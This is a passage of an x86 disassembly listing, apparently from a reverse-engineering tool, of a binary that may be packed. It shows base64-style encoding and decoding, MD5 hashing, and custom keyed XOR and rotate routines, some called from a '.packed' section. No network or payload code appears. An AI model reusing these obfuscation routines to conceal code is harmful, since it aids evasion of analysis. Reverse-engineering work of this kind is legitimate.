		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41EA90[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------


loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0


loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------


loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------


loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------


loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: .packed:004168EFp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EB94
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EB94
		push	10h
		pop	edx


loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h


loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EB94[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: .packed:004168FDp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EBA8
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EBA8
		mov	edi, esi
		push	10h
		pop	ecx


loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------


loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EBA8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EBA8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _rotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------


loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _rotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------


loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40F07C:				; CODE XREF: sub_40F040+33j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _rotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _rotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------


loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------


loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax


loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------


loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A
		add	esp, 0Ch


loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
